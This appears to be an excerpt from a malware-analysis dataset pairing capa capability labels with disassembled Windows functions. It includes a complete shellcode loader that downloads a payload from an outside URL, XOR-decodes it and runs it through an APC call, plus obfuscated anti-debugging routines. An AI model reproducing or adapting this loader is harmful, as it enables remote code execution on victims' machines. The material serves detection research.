joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d40a0
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x4d42e9
push rbp
mov rbp, rsp
sub rsp, 0xa8
nop word [rax + rax]
test rax, rax
je 0x4d42d4
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
test rbx, rbx
jne 0x4d40e2
xor ebx, ebx
xor ecx, ecx
nop
jmp 0x4d40fc
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
mov rax, rdx
call fcn.004c6ea0
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x4d4211
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop dword [rax + rax]
call fcn.0046e100
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00538128]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044e7c0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.004038c0
xorps xmm15, xmm15
mov r14, qword [0x00637e08]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4d41db
xor eax, eax
lea rbx, [0x0050cf9d]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x0050cfba]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044e880
jmp 0x4d4208
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x00538158]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044e7c0
add rsp, 0xa8
pop rbp
ret
mov rax, qword [rax + 0x18]
call fcn.0046e100
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.004038c0
xorps xmm15, xmm15
mov r14, qword [0x00637e08]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
nop
jl 0x4d429e
xor eax, eax
lea rbx, [0x0050cf9d]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x0050cfba]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044e880
jmp 0x4d42cb
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00538158]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044e7c0
add rsp, 0xa8
pop rbp
ret
lea rax, [0x0050d294]
mov ebx, 5
add rsp, 0xa8
pop rbp
ret
mov qword [rsp + 8], rax
call fcn.00462a60
mov rax, qword [rsp + 8]
jmp fcn.004d40a0
Function at 0x14002c1d0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14004c2c8], rbx
je 0x14002c21c
cmp rax, rbx
jne 0x14002c20f
mov ebx, 1
mov esi, ebx
jmp 0x14002c221
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14002c1f4
mov ebx, 1
mov eax, dword [0x14004c2d0]
cmp eax, ebx
jne 0x14002c237
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x14002c29c
mov eax, dword [0x14004c2d0]
test eax, eax
jne 0x14002c296
mov dword [0x14004c2d0], ebx
lea r15, [0x14002f640]
lea rdi, [0x14002f628]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x14002c288
test eax, eax
jne 0x14002c28c
cmp qword [rdi], 0
je 0x14002c27d
mov rax, qword [rdi]
mov rcx, qword [0x14002f5e0]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14002c25e
test eax, eax
je 0x14002c29c
mov eax, 0xff
jmp 0x14002c378
mov dword [0x14004b368], ebx
mov eax, dword [0x14004c2d0]
cmp eax, ebx
jne 0x14002c2c3
lea rdx, [0x14002f620]
lea rcx, [0x14002f5e8]
call sub.msvcrt.dll__initterm
mov dword [0x14004c2d0], 2
test esi, esi
jne 0x14002c2d0
xor eax, eax
xchg qword [0x14004c2c8], rax
cmp qword [0x14004c2e8], 0
je 0x14002c304
lea rcx, [0x14004c2e8]
call fcn.14002cdb0
test eax, eax
je 0x14002c304
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14004c2e8]
mov r9, qword [0x14002f5e0]
call r9
mov r8, qword [0x14004b380]
mov rdx, qword [0x14004b378]
mov ecx, dword [0x14004b370]
call fcn.140009c48
mov dword [0x14004b364], eax
cmp dword [0x14004b388], 0
jne 0x14002c334
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14004b368], 0
jne 0x14002c349
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14004b364]
jmp 0x14002c378
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.1401bd000
add rsp, 0x28
jmp 0x14002c1d0

Function at 0x14002c7b8
Capabilities:
Print debug messages

Disassembly:
jmp 0x14002c7c4
push rbx
sub rsp, 0x540
mov rax, qword [0x14004a300]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x14002c841
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x14002c861
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.14002c700
add rsp, 0x540
pop rbx
ret
Function at 0x1b76058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01b761df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1b76089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1b7606f
add dl, dl
jne 0x1b76096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1b760f6
xor eax, eax
add dl, dl
jne 0x1b760a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1b761ad
add dl, dl
jne 0x1b760b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b760c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b760d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b760dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1b760ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1b7607e
mov eax, 1
add dl, dl
jne 0x1b76106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b76113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1b760fb
sub eax, ebx
mov ebx, 1
jne 0x1b7614c
mov ecx, 1
add dl, dl
jne 0x1b7612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b7613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1b76123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1b7607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1b76168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b76175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1b7615d
cmp eax, 0x7d00
jae 0x1b7619b
cmp eax, 0x500
jb 0x1b76196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1b7607e
cmp eax, 0x7f
ja 0x1b7619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1b7607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1b761d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1b7607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140aa0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140aa01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140aa0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140aa006f
add dl, dl
jne 0x140aa0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140aa00f6
xor eax, eax
add dl, dl
jne 0x140aa00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140aa01ad
add dl, dl
jne 0x140aa00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140aa00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140aa00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140aa00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140aa00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140aa007e
mov eax, 1
add dl, dl
jne 0x140aa0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140aa0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140aa00fb
sub eax, ebx
mov ebx, 1
jne 0x140aa014c
mov ecx, 1
add dl, dl
jne 0x140aa012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140aa013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140aa0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140aa007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140aa0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140aa0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140aa015d
cmp eax, 0x7d00
jae 0x140aa019b
cmp eax, 0x500
jb 0x140aa0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140aa007e
cmp eax, 0x7f
ja 0x140aa019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140aa007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140aa01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140aa007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001480
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbx, rdx
mov rdi, rcx
xor esi, esi
mov dword [rax + 0x20], esi
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rax + 0x20], 1
mov dword [rax - 0x68], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 1]
lea rcx, str.momo
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
je 0x1400015a5
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
je 0x14000159c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
call fcn.140001790
nop
mov dword [rsp + 0xa0], esi
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
sub rsi, rbx
lea r9, [rsp + 0xa0]
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000156c
mov eax, dword [rsp + 0xa0]
test eax, eax
je 0x14000156c
lea r9, [rbx + rax]
mov r8, rbx
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.140001970
jmp 0x14000157b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000157b
cmp eax, 0x12
jne 0x140001585
cmp dword [rsp + 0xa0], 0
ja 0x140001531
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rbx, rbx
je 0x14000159c
mov rcx, rbx
call fcn.140002400
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400015c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov eax, 0x6e
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x58]
mov qword [rsp + 0xa0], rdi
mov dword [rbp - 0x38], 0x740068
mov dword [rbp - 0x34], 0x700074
mov dword [rbp - 0x30], 0x2f003a
mov dword [rbp - 0x2c], 0x74002f
mov dword [rbp - 0x28], 0x340033
mov dword [rbp - 0x24], 0x6f002e
mov word [rbp - 0x20], ax
mov dword [rbp - 0x1e], 0x2f0065
mov dword [rbp - 0x1a], 0x2e0033
mov dword [rbp - 0x16], 0x70006a
xor edi, edi
mov dword [rbp - 0x12], 0x67
call fcn.140001480
mov r11, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
cmp rdx, r11
je 0x140001738
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rsi
mov r10d, edi
lea rsi, str.hrsgdsb
mov r9d, edi
mov ebx, edi
nop word [rax + rax]
movsx ecx, byte [r9 + rsi]
mov eax, 0x4ac525d3
inc r9
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r10d
add cl, 0x4f
xor byte [rbx + r11], cl
mov r11, qword [rbp - 0x58]
add edx, r10d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r10d, edx
mov rdx, qword [rbp - 0x50]
cmove r9, rdi
inc r10d
mov r8, rdx
sub r8, r11
movsxd rax, r10d
inc rbx
cmp rax, r8
jb 0x140001670
mov rsi, qword [rsp + 0x98]
lea r9, [rbp - 0x60]
sub rdx, r11
mov r8d, 0x40
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rbp - 0x58]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rdi
mov r11, qword [rbp - 0x58]
mov rbx, qword [rsp + 0x90]
mov rdi, qword [rsp + 0xa0]
test r11, r11
je 0x14000174d
mov rcx, r11
call fcn.140002400
xor eax, eax
add rsp, 0x80
pop rbp
ret

Function at 0x140003da0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003c10
Function at 0x140006e10
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010f70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000352c
xor ebx, ebx
cmp qword [0x140012038], rbx
mov rdi, rax
jne 0x140006f23
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140006ffa
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140006ffa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012048], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012058], rax
test rax, rax
je 0x140006f1a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012050], rax
jmp 0x140006f2a
mov rax, qword [0x140012050]
jmp 0x140006f31
mov rax, qword [0x140012050]
mov r11, qword [0x140012058]
cmp rax, rdi
je 0x140006f98
cmp r11, rdi
je 0x140006f98
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012058]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140006f98
test rax, rax
je 0x140006f98
call rsi
test rax, rax
je 0x140006f92
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140006f92
test byte [rsp + 0x40], 1
jne 0x140006f98
bts ebp, 0x15
jmp 0x140006fd8
mov rcx, qword [0x140012040]
cmp rcx, rdi
je 0x140006fd8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006fd8
call rax
mov rbx, rax
test rax, rax
je 0x140006fd8
mov rcx, qword [0x140012048]
cmp rcx, rdi
je 0x140006fd8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006fd8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012038]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006ffa
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140006ffc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005b30
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007347
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140010f70]
jne 0x140005b4a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005b46
repz ret
ror rcx, 0x10
jmp 0x1400072a0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012100]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400121f8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007325
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012100]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007347
mov rax, qword [rsp + 0x88]
mov qword [0x1400121f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140012198], rax
mov rax, qword [0x1400121f8]
mov qword [0x140012070], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140012180], rax
mov dword [0x140012060], 0xc0000409
mov dword [0x140012064], 1
mov rax, qword [0x140010f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140010f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400120f8], eax
mov ecx, 1
call fcn.140006e08
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d6a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400120f8], 0
jne 0x1400073ce
mov ecx, 1
call fcn.140006e08
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14007e8f5
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.14007e937
movabs rdx, 0xfcb55359
jmp 0x14007fda9
movabs r14, 0x14006bc08
jmp 0x14007fddb
lea r14, [rbx + riz + 0x43d4]
xchg rcx, r14
jmp 0x14007fdae
mov r11, 0x6e013d7b
bt ecx, r15d
js 0x14007fd4d
lea r14, [rbx + riz + 0x43d4]
jmp 0x14007fd7e
xchg rcx, r14
jmp 0x14007fdae
mov r11w, word [rsp]
jmp 0x14007fdc0
mov r11w, word [rsp]
rdtsc
jmp 0x14007ea5c
add rbx, rdx
jmp 0x14007fd63
mov ebx, dword [rbx + riz + reloc.USER32.dll_CreateWindowExW]
not r10w
adc ax, si
jle 0x14007fd83
jg 0x14007fd8e
rdtsc
jmp 0x14007ea5c
mov r11b, r13b
or r11w, r8w
jmp 0x14007fe61
call 0x14007fe42
mov ax, 0xd187
bswap r10d
jmp 0x1400804c9
jle 0x14007fde8
jg 0x14007fde8
mov rsp, r12
push rbx
ret
Function at 0x14007f733
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [rsp + 2], r8b
mov byte [rsp + 5], r15b
mov r11b, 0xa
lea rsp, [rsp + 3]
jmp 0x14007f700
jb 0x14007f6a1
mov byte [rsp + 2], r8b
mov byte [rsp + 5], r15b
jmp 0x14007f6c6
mov r13b, dil
mov r15b, 0x49
cpuid
sub rsp, 0xb
jmp 0x14007f6dc

Function at 0x140080bf8
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dl, dil
mov r14, r9
xchg r15b, r8b
xchg r12d, edx
xchg rdx, r12
jmp 0x140080be2

Function at 0x140080f35
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov r14, 0xffffffffe1c55b36
mov ebp, 0x77db994c
mov bl, 0x93
inc rdx
jmp 0x140080f5f
add rdi, rbx
jmp 0x140080eb5
jne 0x140080f79
je 0x140080f79
not dl
jmp fcn.140080fc7
add rdi, qword [r11 + riz]
xchg bl, al
mov r8w, r14w
shl bl, 1
jmp 0x140080f8c
jg 0x140080f63
not dl
jmp fcn.140080fc7

Function at 0x1401b67d0
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg r10
sub rsp, 9
not ax
inc rsi
xchg qword [rsp + 2], r11
jmp 0x1401b680a

Function at 0x1401b6a09
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea r15, [rax + rsi]
add rsp, 6
jmp 0x1401b69f3

Function at 0x1401b6bd5
Capabilities:
Execute anti-debugging instructions

Disassembly:
add rsp, 0x18
mov r15, r13
xchg r13, rcx
lea rsp, [rsp + 7]
jmp 0x1401b6beb
lea r10, [r11 + riz - 0x383209be]
mov r11w, ax
mov r15b, r13b
cmp di, 0x3ec0
jmp 0x1401b6bbf
btr bp, r14w
add rsp, 2
lea rsp, [rsp]
not si
not r14d
lea rsp, [rsp]
jmp 0x1401b6c2b
shl di, 5
xchg r13d, ebp
mov rdi, qword [rsp]
mov edi, ebp
neg rax
mov byte [rsp], cl
jmp 0x1401b6c15

Function at 0x1401b6fff
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov r14w, word [rsp + 6]
pop word [rsp + 6]
bswap r11d
jmp 0x1401b7027

Function at 0x1401b7392
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x1401b73d4
mov r11w, 0xcfaf
lea r8, [r9 + riz]
cpuid
pop word [rsp + 0x16]
push word [rsp + 0x18]
xchg r9d, r12d
jmp 0x1401b7422
mov qword [rsp + 9], rdx
mov r8d, 0xda19d4b2
lea rbp, [rdx + r9]
rdtsc
jmp 0x1401b7394
bswap r9d
lea r15, [rax*8]
lea rsp, [rsp + 0x13]
xchg byte [rsp + 4], r13b
push r13
mov byte [rsp], bl
jmp 0x1401b7460
dec rsi
push cx
xor r12w, r13w
btc ebx, r10d
xchg al, dil
xchg edx, r12d
jmp 0x1401b73ff
neg r12b
mov r9b, byte [rsp + 5]
call fcn.1401b7446
invalid
and dx, 0xec23
xchg r8w, r11w
xchg r11, rdx
rdtsc
neg r12w
push word [rsp + 9]
jmp 0x1401b7438

Function at 0x1401b7479
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [rsp + 0xb]
xchg bpl, bl
add rsp, 3
xchg r8d, r10d
jmp 0x1401b74ee
mov r8, rbp
mov r8w, word [rsp + 0xa]
setnp bpl
rdtsc
mov r10b, r9b
lea rbx, [r15 + riz + 0x31]
mov ebx, r14d
jmp 0x1401b74ba
mov dword [rsp + 2], edx
mov r11b, sil
xchg r15, rdi
mov dx, si
mov rcx, 0x445cfa13
xchg r14w, dx
jmp 0x1401b74d0